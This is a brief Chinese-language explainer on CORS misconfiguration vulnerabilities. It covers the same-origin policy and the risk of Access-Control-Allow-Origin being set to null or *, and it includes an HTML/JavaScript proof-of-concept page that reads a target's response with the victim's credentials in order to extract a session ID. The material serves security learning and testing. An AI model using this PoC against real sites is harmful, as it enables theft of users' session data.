CORS跨域共享漏洞的定义
- 首先了解下同源策略,同源政策的目的,是为了保证用户信息的安全,防止恶意的网站窃取数据。不是同源的网站,不能相互读取信息,譬如用户登录A站,同时登录了B站,如果A\B不是同源,那么A不能读取B站的数据
同源策略:
- 同端口
- 同协议
- 同域名
生活总有例外,实践中有一些场景需要跨域的读写,所以在XMLHttpRequest v2标准下,提出了CORS(Cross Origin Resourse-Sharing)的模型,试图提供安全方便的跨域读写资源。目前主流浏览器均支持CORS。
- 当CORS的设置不正确时,就会带来安全问题。注意Access-Control-Allow-Origin的值,当其为null、意味着信任任何域,*这时候可能引入安全问题。
在测试过程发现,当A网站设置Access-Control-Allow-Origin:null的时候,B站能够读取A站的敏感数据。此漏洞曾在黑客大会上爆过https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/并未引起太多关注。
POC如下:
<html>
<body>
<center>
<h2>CORS POC Exploit</h2>
<h3>Extract SID</h3>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = alert(this.responseText);
}
};
xhttp.open("GET", "https://target.com/info/", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</body>
</html>
Post请求也能获取敏感数据。